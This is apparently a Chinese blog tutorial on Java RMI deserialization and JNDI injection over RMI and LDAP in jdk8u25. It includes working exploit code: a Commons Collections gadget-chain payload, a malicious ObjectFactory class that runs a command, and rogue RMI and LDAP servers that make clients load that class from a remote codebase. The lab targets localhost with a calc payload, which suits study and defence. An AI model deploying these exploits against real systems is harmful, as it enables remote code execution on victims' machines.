• 版本: jdk8u25
  • 依赖: Apache Commons Collections 3.1和ldap版本4.0.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.0</version>
</dependency>
</dependencies>


这里的依赖是测试反序列化漏洞的,和jndi注入没什么关系,如果只想了解jndi注入的话,这个依赖可以不要

另外,我会把Rmi和Ldap一起讲了,虽然正常jndi注入大多数都用Ldap注入,但是多学一学没有坏处

Java反序列化之JNDI

jndi前置知识

了解的直接跳过就行了

JNDI是Java提供的一套API,用于访问命名和目录服务,比如:

  • 查找对象(数据库连接池、远程对象等)
  • 将对象注册到命名空间中
  • 动态地从网络或本地环境中获取资源

而且支持多种协议,比如:

  • ldap:// —— LDAP 目录服务
  • rmi:// —— 远程方法调用(RMI)
  • iiop:// —— CORBA
  • dns:// —— DNS 服务

正常情况下,jndi是通过lookup寻求服务的,所以jndi注入往往存在于这个地方,很多链子的起点都在此

Rmi

前置知识

首先需要了解几个知识:

  • Stub:客户端的代理对象,接收客户端调用,负责把调用信息发送到远程服务端
  • Skeleton:服务端的分发器,负责接收客户端请求并调用真实的服务实现。通常我们的恶意服务就放在服务端上。JDK1.2后Skeleton被取消,由UnicastServerRef直接处理
  • RemoteRef:远程引用接口,Stub通过它来实际发起远程调用
  • RemoteCall:封装一次远程调用的数据对象,内部包含方法名、参数等信息

上面的我就不细致打开讲了,我们再看看调用流程

  1. 客户端获取服务对象Stub
  • 客户端会通过Naming.lookup(“rmi://host/serviceName”)获取远程服务
  • 此时客户端获取的并不是服务端真实对象,而是服务的Stub,这是一个代理类,它实现了服务接口
  1. Stub准备调用:封装远程调用信息
  • Stub内部持有一个RemoteRef对象,该对象负责处理底层网络传输
  • Stub会构造一个RemoteCall对象,把调用的方法名、参数、接口信息等序列化进去,然后通过RemoteRef.invoke()发起远程通信
  1. 网络传输:通过Socket发送请求到服务端
  • RemoteRef将RemoteCall对象通过TCP Socket连接传给服务端(默认使用端口1099)
  • 传输内容包括:服务接口名,方法签名,参数,调用类型(例如lookup、bind等)
  1. 服务端接收:UnicastServerRef和Skeleton分发请求
  • 服务端监听的端口接收到客户端的Socket请求后,由UnicastServerRef(远程引用层)处理
  • Skeleton 反序列化 RemoteCall,解析出客户端希望调用的方法和参数。
  1. 服务端执行方法
  • Skeleton或UnicastServerRef调用目标对象的方法,比如调用lookup()、bind()、业务方法等。
  • 方法执行完成后,将返回结果进行序列化。
  1. 服务端返回结果给客户端
  • 服务端把方法的返回值打包进RemoteCall,通过Socket发送回客户端。
  • 如果返回值是一个远程对象,会被包裹成Stub发回。
  1. 客户端反序列化结果并继续调用
  • 客户端接收到结果后反序列化
  • 如果是普通数据,直接使用
  • 如果是远程对象Stub,可以继续调用远程方法

只用文字说可能有点干,下面是图形的调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Client
└──> Stub(RegistryImpl_Stub)
└──> RemoteRef.invoke()
└──> 序列化RemoteCall(接口名、方法名、参数)
└──> 通过Socket发送给服务端
┌—————————————————————┘
Server
└──> UnicastServerRef接收请求
└──> Skeleton.dispatch()
└──> 反序列化RemoteCall
└──> 调用对应服务实现类的方法
└──> 序列化结果返回给客户端
┌———————————————————————————┘
Client
└──> 反序列化返回结果
└──> 如果是Stub,可继续调用远程方法

我们稍微做个小测试

normal_rmi_server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package server.rmi;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class normal_rmi_server {
public interface InterfaceTest extends Remote {

String normal(Object object) throws RemoteException;

}
public static class FunctionTest extends UnicastRemoteObject implements InterfaceTest{

private static final long serialVersionUID = 1L;

protected FunctionTest() throws RemoteException {
super();
}


@Override
public String normal(Object object) throws RemoteException {

return "Nebu1ea";

}
}

public static final String normal_rmi_name= "rmi://127.0.0.1:8080/normal_rmi";

public static void main(String[] args) throws Exception{

LocateRegistry.createRegistry(8080);
Naming.bind(normal_rmi_name, new FunctionTest());

}
}

稍微解释一下,Naming.bind注册远程服务normal_rmi_name,把服务端实现类绑定到normal_rmi_name

比如rmi://127.0.0.1:8080/normal_rmi,供客户端通过lookup()查找到rmi://127.0.0.1:8080/normal_rmi,就会指向new FunctionTest()这个实例

这个FunctionTest必须得继承UnicastRemoteObject,这是协议所需,实现InterfaceTest接口是为了远程服务,没有在远程服务里实现的方法是不能被客户端调用的

接着写client模拟访问rmi服务

normal_rmi_client.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package client.rmi;

import java.rmi.Naming;
import server.rmi.normal_rmi_server.InterfaceTest;

public class normal_rmi_client {

public static void main(String[] args) throws Exception{
Thread.sleep(2000);
InterfaceTest interfaceTest = (InterfaceTest) Naming.lookup("rmi://127.0.0.1:8080/normal_rmi");
String result = interfaceTest.normal(1);
System.out.println(result);
}
}

获取远程rmi服务并运行函数,这个Thread.sleep(2000);是为了让rmi_server完全启动完成

rmi反序列化漏洞

这个漏洞是进攻服务端的,不是jndi注入

在上面我讲过,服务端会反序列化客户端传来的RemoteCall,既然是反序列化,那我们传一个恶意的RemoteCall上去即可触发任意执行

前面写到cc依赖就是为了测试这个,服务端我们用的还是normal_rmi_server.java

进攻端exp是这样的:

attack_rmi_client.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package client.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import server.rmi.normal_rmi_server;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.Map;

public class attack_rmi_client {

public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();
map.put("value","Nebu1ea");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object=constructor.newInstance(Target.class,transformedMap);
//生成payload



Thread.sleep(2000);
normal_rmi_server.InterfaceTest interfaceTest = (normal_rmi_server.InterfaceTest) Naming.lookup("rmi://127.0.0.1:8080/normal_rmi");
String result = interfaceTest.normal(object);
}
}


前面导入的cc库也是为了测试这个漏洞,在server客户端反序列化payload的时候触发了链子

jndi注入之rmi

这种情况用的很少,主要有以下几个原因

在RMI服务中引用远程对象将受本地高版本Java限制

  • com.sun.jndi.rmi.object.trustURLCodebase必须为true
  • java.rmi.server.useCodebaseOnly必须为false

用下面这种方式打开

  • System.setProperty(“java.rmi.server.useCodebaseOnly”, “false”);
  • System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);

当然,这篇博客里我用的是1.8u25,是低版本,这两都不要管

用rmi注入jndi需要远程引用一个类,这个类一般是这样实现的:

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class evil implements ObjectFactory, Serializable {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"calc"});
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
//Runtime r = Runtime.getRuntime();
//Process p = r.exec(new String[]{"calc"});
//p.waitFor();
//上方注释的代码也会触发
return null;
}
}

要实现ObjectFactory接口,因为jndi会尝试加载工厂类,如果没实现这个接口会报错,编译完放到远程服务机器上,接着再恶意服务端创建Reference指向这个类,创建ReferenceWrapper包含这个Reference

最后Naming.bind注册恶意远程服务,并把ReferenceWrapper绑定到远程服务远程服务上

具体如下:

attack_rmi_server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package server.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class attack_rmi_server {
public static final String attack_rmi_name= "rmi://127.0.0.1:8080/attack_rmi";

public static void main(String[] args) throws Exception{

LocateRegistry.createRegistry(8080);
Reference reference=new Reference("evil","evil","http://127.0.0.1:5555/");
ReferenceWrapper rmiReference=new ReferenceWrapper(reference);
Naming.bind(attack_rmi_name,rmiReference);

}
}

有两个个坑点,第一个是绑定reference时传入的url必须最后有’/‘,不然他会找不到你的类

第二个是当前项目不能有同名类,不然优先加载当前项目的,不加载远程的

其余的话没什么了,再就是jndi是这么执行的:

  • 连接RMI服务
  • 获取注册的ReferenceWrapper对象
  • JNDI取出里面的Reference对象
  • 发现它指向远程(工厂类名+URL)
  • 尝试从指定URL下载名为evil.class的工厂类
  • 下载成功后,JNDI会调用这个工厂类,并实例化
  • 实例化后还会调用实例的getObjectInstance方法

就是这样,所以恶意代码无论是写在静态代码块里,构造函数里异或是getObjectInstance里都能触发

接下来是被攻击的客户端测试

attacked_rmi_client

1
2
3
4
5
6
7
8
9
10
11
12
13
package client.rmi;

import javax.naming.InitialContext;

public class attacked_rmi_client {
public static void main(String[] args) throws Exception{
Thread.sleep(2000);
String url = "rmi://127.0.0.1:8080/attack_rmi";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}


Ldap

前置知识

还是一点前置知识,ldap是个目录访问协议,用于读取、查询和修改目录服务中的信息

它是基于 TCP/IP 的,并且数据结构是层级树状结构(类似文件夹)
例如:

1
2
3
4
5
dc=fucker,dc=com
└── ou=users
├── cn=Nebu1ea
└── cn=Nebu2ea

其数据结构由多个Entry组成,在上方的例子中每条路径都是个Entry,且每个Entry都有一个:

  • DN:条目的唯一标识
  • RDN:相对条目父节点的名称
  • Attributes:一组键值对,例如用户名、邮箱等(这个是核心,因为ldap为了达到sql类似的作用的)
  • objectClass:它们定义了这个条目可以具备哪些属性,比如objectClasss=person就代表可以存放sn, cn, userPassword等

这个person类是ldap的内置标准结构,如果学习过域的就会知道ldap在域控中很常用于控制用户

举个其中一个路径来说:

1
2
3
4
5
6
dn: cn=Nebu1ea,ou=users,dc=fucker,dc=com
objectClass: person
cn: Nebu1ea
sn: Nebu
userPassword: 114514

dn是条目的完整路径,cn=Nebu1ea是RDN,ou=users是组织单元,dc=fucker、dc=com表示根域

再看看是怎么查询的,假如lookup的是ldap://127.0.0.1:1389/114514

那么就会向服务器请求”dn:114514”这个Entry

jndi注入之ldap

假如我们是服务机,无差别向所有查询返回一个指向恶意类的Reference,就可以达到恶意攻击的效果,那Reference的Entry是什么样的呢

1
2
3
4
5
dn: 114514
objectClass: javaNamingReference
javaClassName: evil
javaFactory: evil
javaCodeBase: http://127.0.0.1/

那么该写exp了

attack_ldap_server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package server.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

class attack_ldap_server {

public static void main(String[] args) throws Exception{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=fucker,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), 1389, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer inMemoryDirectoryServer = new InMemoryDirectoryServer(config);
inMemoryDirectoryServer.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);

String className = "evil";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
entry.addAttribute("javaCodeBase", "http://127.0.0.1:5555/");
entry.addAttribute("objectClass", "javaNamingReference");

try {
result.sendSearchEntry(entry);
} catch (LDAPException e) {
e.printStackTrace();
}
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}
}
}

简而言之就是创建一个域是fucker.com(这个随意)的ldap服务,无论查询什么都返回一个恶意的reference

attacked_ldap_client.java

1
2
3
4
5
6
7
8
9
10
11
12
package client.ldap;

import javax.naming.InitialContext;

public class attacked_ldap_client {
public static void main(String[] args) throws Exception{
Thread.sleep(2000);
String url = "ldap://127.0.0.1:1389/1";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

连接ldap查询,查询什么都行

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝